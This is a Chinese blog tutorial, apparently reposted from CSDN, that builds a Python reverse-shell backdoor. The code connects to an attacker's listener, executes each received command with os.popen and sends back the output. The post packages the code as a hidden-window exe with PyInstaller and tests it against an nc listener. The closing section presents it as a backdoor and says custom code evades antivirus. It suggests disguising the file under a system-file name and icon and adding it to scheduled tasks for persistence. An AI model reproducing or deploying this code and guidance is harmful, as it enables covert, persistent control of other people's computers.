使用Python制作一个简易的远控终端

作者:T1ngSh0w 时间:2022-03-29 21:04:12 

远控终端的本质

1、服务端(攻击者)传输消息 ----> socket连接 ----> 客户端(被攻击者)接收消息

2、客户端执行消息内容(即执行服务端传回来的命令)

3、客户端传输执行结果 ----> socket连接 ----> 服务端显示命令执行结果

python制作简易的远控

1、环境

环境:PyCharm 2021.1.1 x64 + python3.8

2、新建项目

打开pycharm,直接新建一个纯python项目。

使用Python制作一个简易的远控终端

将main.py文件中原有的代码全部清空。

使用Python制作一个简易的远控终端

3、编写程序

(1)导入需要使用的包

# 导入所需要的包
import os
from socket import *

(2)创建main并配置socket套接字信息

#导入所需要的包
......

if __name__ == '__main__':
   # 1、服务端IP地址
   IP = "192.168.6.142"
   # 2、服务端监听的端口PORT
   PORT = 9999
   # 3、socket套接字
   socket_info = (IP, PORT)

(3)创建连接方法

#导入所需要的包
......

def remote_control(info):
   # 初始化socket连接
   skt = socket(AF_INET, SOCK_STREAM)
   skt.connect(info)
   # 获得客户端角色,便于服务端执行下一步操作
   host = os.popen("whoami").read().strip()
   # 将客户端角色在每次输入命令的都显示,美化格式
   tips = f"$({host}) "
   skt.send(tips.encode())

if __name__ == '__main__':
   ......
# 4、连接
   remote_control(socket_info)

(4)接收服务端传入的数据(即命令)

# 导入所需要的包
......

def remote_control(info):
   # 初始化socket连接
   ......
   skt.send(tips.encode())

# 建立持续连接
   while True:
       # 接收服务端传入的数据(即命令),以1024个bit为一个单位
       data = skt.recv(1024)
       # 将接收的数据进行utf-8解码,并将左右空格去除
       command = data.decode('utf-8').strip()
       # 如果数据为exit,代表服务端想要断开连接,直接退出程序
       if command == 'exit':
           skt.send("exit\n".encode())
           exit(0)

if __name__ == '__main__':
   ......

(5)执行服务端传入的命令并将结果返回给服务端

# 导入所需要的包
......

def remote_control(info):
   # 初始化socket连接
   ......
   skt.send(tips.encode())
   # 建立持续连接
   while True:
       # 接收服务端传入的数据(即命令),以1024个bit为一个单位
       ......
       if command == 'exit':
           ......
       # 如果数据不为exit,执行数据的内容,即执行服务端传回来的命令,并将执行结果存放在result中
       result = os.popen(command).read()
       # 将命令执行的结果返回给服务端
       skt.send((result + tips).encode())
   # 关闭socket连接
   skt.close()

if __name__ == '__main__':
   ......

代码编写完成!

(6)测试远控终端的可用性

打开一台kali虚拟机(IP为192.168.6.142)作为服务端,使用nc监听9999端口。

使用Python制作一个简易的远控终端

使用Python制作一个简易的远控终端

使用Python制作一个简易的远控终端

连接成功,远控终端制作完成!

4、将python文件打包成exe文件

(1)pip工具安装Pyinstaller模块

Win+R打开运行 --> 输入cmd打开命令窗口

pip install Pyinstaller

使用Python制作一个简易的远控终端

(2)切换命令行的路径到需要打包的Python源文件的文件夹路径下

cd 文件路径

使用Python制作一个简易的远控终端

(3)打包python文件为exe文件

Pyinstaller -F -w 文件名.py

使用Python制作一个简易的远控终端

使用Python制作一个简易的远控终端

使用Python制作一个简易的远控终端

打包成功!

打包完成后,在要打包文件的同级目录下会新增一个dist文件夹,exe文件就在dist文件夹中。

使用Python制作一个简易的远控终端

使用Python制作一个简易的远控终端

(4)测试exe文件的可用性

kali服务端监听端口。

使用Python制作一个简易的远控终端

点击运行生成的exe文件。

使用Python制作一个简易的远控终端

使用Python制作一个简易的远控终端

连接成功!python制作远程控制终端完成!

制作远控终端的意义

本篇文章我们研究了python如何制作一个简易的远控终端,上篇我的文章研究了Java如何制作一个简易的远控终端。其实,我们制作的这个远控终端就是一个后门程序。那么大家就想了,我们的CS跟MSF都可以生成后门程序,为什么我们还要自己制作呢?

这是因为,我们不仅可以通过自己制作了解远控程序的原理。而且,由于CS跟MSF生成的后门程序特征比较明显,很多杀毒软件都会杀掉,即使没有杀掉,两三天以后也可能被杀软杀掉,不能做到一个持续化的权限获取,也就是权限维持。而我们自己制作后门程序,是我们自己写的,并没有被公开,杀软就匹配不到我们的特征值,这样杀软就不会杀掉我们的后门程序。如果我们再将我们的后门名称改为系统文件的名称,再改变图标,把后门程序添加到计划任务中,这样我们就可以做到一个很好的一个权限维持。

附完整代码

# 导入所需要的包
import os
from socket import *

def remote_control(info):
   # 初始化socket连接
   skt = socket(AF_INET, SOCK_STREAM)
   skt.connect(info)
   # 获得客户端角色,便于服务端执行下一步操作
   host = os.popen("whoami").read().strip()
   # 将客户端角色在每次输入命令的都显示,美化格式
   tips = f"$({host}) "
   skt.send(tips.encode())
   # 建立持续连接
   while True:
       # 接收服务端传入的数据(即命令),以1024个bit为一个单位
       data = skt.recv(1024)
       # 将接收的数据进行utf-8解码,并将左右空格去除
       command = data.decode('utf-8').strip()
       # 如果数据为exit,代表服务端想要断开连接,直接退出程序
       if command == 'exit':
           skt.send("exit\n".encode())
           exit(0)
       # 如果数据不为exit,执行数据的内容,即执行服务端传回来的命令,并将执行结果存放在result中
       result = os.popen(command).read()
       # 将命令执行的结果返回给服务端
       skt.send((result + tips).encode())
   # 关闭socket连接
   skt.close()

if __name__ == '__main__':
   # 1、服务端IP地址
   IP = "192.168.6.142"
   # 2、服务端监听的端口PORT
   PORT = 9999
   # 3、socket套接字
   socket_info = (IP, PORT)
   # 4、连接
   remote_control(socket_info)

来源:https://blog.csdn.net/weixin_52635170/article/details/129796414

标签:Python,远控,终端
0
投稿

猜你喜欢

  • Python时间获取及转换知识汇总

    2023-08-02 12:17:08
  • 用Python shell简化开发

    2023-12-16 17:19:04
  •  Go 语言实现 HTTP 文件上传和下载

    2023-06-23 01:42:24
  • Tensorflow2.10实现图像分割任务示例详解

    2021-08-31 13:14:47
  • OpenCV中VideoCapture类的使用详解

    2022-10-26 18:38:15
  • javascript中的关于类型转换的性能优化

    2023-06-26 16:25:48
  • python 用opencv实现图像修复和图像金字塔

    2022-09-27 09:24:22
  • pycharm 使用心得(一)安装和首次使用

    2023-06-14 05:49:37
  • 浅谈Python单向链表的实现

    2023-01-18 14:00:39
  • 未能加载文件或程序集“XXX”或它的某一个依赖项。试图加载格式不正确的程序。

    2023-07-01 00:38:21
  • PHP Laravel门面的实现原理详解

    2023-05-25 06:42:36
  • Python应用实现双指数函数及拟合代码实例

    2023-04-14 18:17:14
  • 详解Python中的type()方法的使用

    2022-01-03 03:11:06
  • python绘制地震散点图

    2021-12-21 13:09:08
  • Python requests及aiohttp速度对比代码实例

    2023-11-22 14:40:37
  • PyQT5之使用QT Designer创建基本窗口方式

    2023-10-06 05:59:41
  • python实现远程控制电脑

    2022-12-07 21:00:16
  • pyinstaller打包单个exe后无法执行错误的解决方法

    2023-08-08 09:50:26
  • python适合人工智能的理由和优势

    2021-08-10 11:01:12
  • python能否java成为主流语言吗

    2022-10-16 18:34:11
  • asp之家 网络编程 m.aspxhome.com